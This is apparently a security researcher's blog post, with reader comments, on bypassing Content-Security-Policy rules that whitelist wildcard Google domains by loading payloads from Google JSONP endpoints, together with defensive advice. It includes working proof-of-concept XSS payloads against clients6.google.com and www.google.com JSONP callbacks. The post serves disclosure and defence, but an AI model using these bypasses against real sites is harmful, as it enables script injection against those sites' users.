TL;DR
The Google developer documentation includes CSP examples which use domain wildcards (which have been widely cut & pasted), and additionally there are numerous endpoints within the Google eTLDs which are vulnerable to Javascript XSS. These can be combined into an effective attack against any domain with an HTML injection vector that would be otherwise unexploitable.
Background
Whilst researching ways to make HTML injection vectors exploitable, I noticed that many of the vulnerable endpoints included similar CSP headers, which often had wildcards for the google eTLDs. It soon became obvious that the reason for this, was that they had been cut & pasted straight from the Google developer documentation. Oh dear.
So then I took a quick sweep through the Google eTLDs, to see if I could find any endpoints which were vulnerable to javascript XSS that I could use, and to my obvious delight I found that there were actually plenty to choose from.
It’s worth noting at this point that I did do the responsible thing, and flagged the issues to the Google security team, but as far as they were concerned this was “by design” and not a security problem. Though to their credit, they have updated the CSP documentation so that it no longer has the wildcards. Small victories.
In the Red Corner
From an attack point of view, the reason that you should be interested is that you can take an otherwise unexploitable HTML injection vector, and work it up into a full XSS.
But before we go any further, if you’re not already familiar with the way that CSP works, then I’d recommend reading the Mozilla CSP guide first, which is a good primer.
Content-Security-Policy
What you are looking for is an endpoint that is vulnerable to HTML injection, but with a CSP that blocks the full XSS. However, if the CSP has the wildcard google eTLDs in the script-src or default-src sections, then you are on to a winner.
Content-Security-Policy: default-src 'self' *.google.com *.googleapis.com
Javascript XSS
The easiest way of getting javascript from the google domains is to simply upload it to one of the containers (like storage.googleapis.com or firebasestorage.googleapis.com). However, if this isn’t possible for some reason, then there is currently a broken JSONP library that is widely used across the Google estate, which you can leverage too. You just need to add a callback query parameter containing your payload. Easy as cake.
Putting it all Together
In practice (once you’ve found a target that meets all the requirements), the actual delivery ends up being really simple.
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="default-src https://*.google.com">
</head>
<body>
<script src=https://clients6.google.com/discovery/v1/apis?callback=%28alert%28%27XSS%27%29%29></script>
</body>
</html>
In the Blue Corner
The first thing to look at is to make sure that your CSPs are effective. As a general rule, avoiding inline code and any wildcard domains is a good place to start.
Google actually provide a CSP analyser tool which is useful (would have been nice if they’d used it to generate their developer examples ;)
Additional Information
https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
https://csp-evaluator.withgoogle.com/
“Thanks”
I just wanted to say a big “thanks” to the Google security team, who were efficient, professional and a complete pleasure to work with. Love you long-time!
Oh dear. ;)
<script src=https://www.google.com/complete/search?client=firefox&q=why&jsonp=%28alert%281%29%29></script>
"they have updated the CSP documentation so that it no longer has the wildcards": which documentation? For maps, they still show the wilcards